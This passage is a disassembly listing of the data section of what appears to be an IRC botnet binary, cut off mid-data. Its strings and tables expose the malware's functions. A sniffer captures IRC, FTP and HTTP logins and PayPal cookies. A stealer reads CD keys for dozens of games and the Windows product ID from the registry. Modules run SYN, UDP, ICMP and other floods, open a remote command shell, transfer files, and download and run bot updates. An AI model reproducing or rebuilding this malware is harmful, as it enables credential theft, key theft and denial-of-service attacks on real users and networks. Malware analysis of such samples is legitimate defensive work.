5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043556Co align 10h off_435DD0 dd offset word_505446 ; DATA XREF: ___:00435568o off_435DD4 dd offset dword_43523C+0Dh ; DATA XREF: ___:00435564o off_435DD8 dd offset word_544F42 ; DATA XREF: ___:00435560o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43604C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436084 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360BC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4360F0 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436124 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436158 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_436188 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4361DC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_436404 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_4367F4 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436808 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436840 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436854 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_436868 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_436884 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4368B4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_4368C0 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437A44h, 437A38h, 437A28h, 2 dup(0) dd 80000001h, 437A08h, 437A04h, 4379F0h, 2 dup(0) dd 80000001h, 4379CCh, 437A04h, 4379C0h, 2 dup(0) dd 80000001h, 43799Ch, 437994h, 437980h, 2 dup(0) dd 80000001h, 43796Ch, 43795Ch, 437940h, 2 dup(0) dd 80000001h, 4378FCh, 437A84h, 4378E8h, 2 dup(0) dd 80000002h, 4378BCh, 4378B0h, 437890h, 2 dup(0) dd 80000002h, 43785Ch, 437A84h, 437844h, 2 dup(0) dd 80000002h, 437810h, 437A84h, 4377F8h, 2 dup(0) dd 80000002h, 4377E0h, 437A84h, 4377C8h, 2 dup(0) dd 80000002h, 43778Ch, 43D7D8h, 43777Ch, 2 dup(0) dd 80000002h, 437744h, 43D7D8h, 437730h, 2 dup(0) dd 80000002h, 4376E4h, 43D7D8h, 4376C4h, 2 dup(0) dd 80000002h, 437674h, 43D7D8h, 437648h, 2 dup(0) dd 80000002h, 43760Ch, 43D7D8h, 4375F8h, 2 dup(0) dd 80000002h, 4375C0h, 43D7D8h, 4375B0h, 2 dup(0) dd 80000002h, 437560h, 43D7D8h, 437534h, 2 dup(0) dd 80000002h, 4374F4h, 43D7D8h, 4374D8h, 2 dup(0) dd 80000002h, 4374A8h, 43D7D8h, 437488h, 2 dup(0) dd 80000002h, 43744Ch, 43D7D8h, 437438h, 2 dup(0) dd 80000002h, 4373F0h, 43D7D8h, 4373D0h, 2 dup(0) dd 80000002h, 43737Ch, 43D7D8h, 43734Ch, 2 dup(0) dd 80000002h, 4372FCh, 43D7D8h, 4372D0h, 2 dup(0) dd 80000002h, 437290h, 437288h, 437268h, 2 dup(0) dd 80000002h, 437224h, 43D7D8h, 437208h, 2 dup(0) dd 80000002h, 4371BCh, 43D7D8h, 437198h, 2 dup(0) dd 80000002h, 437164h, 43D7D8h, 437158h, 2 dup(0) dd 80000002h, 437124h, 43D7D8h, 437118h, 2 dup(0) dd 80000002h, 4370E4h, 43D7D8h, 4370D8h, 2 dup(0) dd 80000002h, 4370A4h, 43D7D8h, 437098h, 2 dup(0) dd 80000002h, 43705Ch, 43D7D8h, 437048h, 2 dup(0) dd 80000002h, 43700Ch, 43D7D8h, 436FF8h, 2 dup(0) dd 80000002h, 436FC8h, 437A84h, 436FACh, 2 dup(0) dd 80000002h, 436F8Ch, 436F84h, 436F60h, 2 dup(0) dd 80000002h, 436F44h, 436F84h, 436F24h, 2 dup(0) dd 80000002h, 436F04h, 436F84h, 436EE0h, 2 dup(0) dd 80000002h, 436EC8h, 436F84h, 436EC4h, 2 dup(0) dd 80000002h, 436EA8h, 436E98h, 436E90h, 2 dup(0) dd 80000002h, 436E5Ch, 42C8DCh, 436E44h, 2 dup(0) dd 80000002h, 436E08h, 436DFCh, 436DD4h, 436DC4h, 436DB0h dd 80000002h, 436D8Ch, 436D80h, 436D6Ch, 436D5Ch, 436D54h dd 80000002h, 436D8Ch, 436D80h, 436D28h, 436D5Ch, 436D20h dd 80000002h, 436D8Ch, 436D80h, 436CF0h, 436D5Ch, 436CE8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368BCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004368B8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368B4o align 4 asc_437AB4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437AB8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437B34 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437B58 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_437B70 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437B9C db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437BC0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437BD8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437BF0 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437C10 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437C34 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437C58 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437C84 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437CA4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437CD4 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437D04 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437D30 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437D64 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437DA8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437DC4 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437DFC db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437E24 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437E50 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 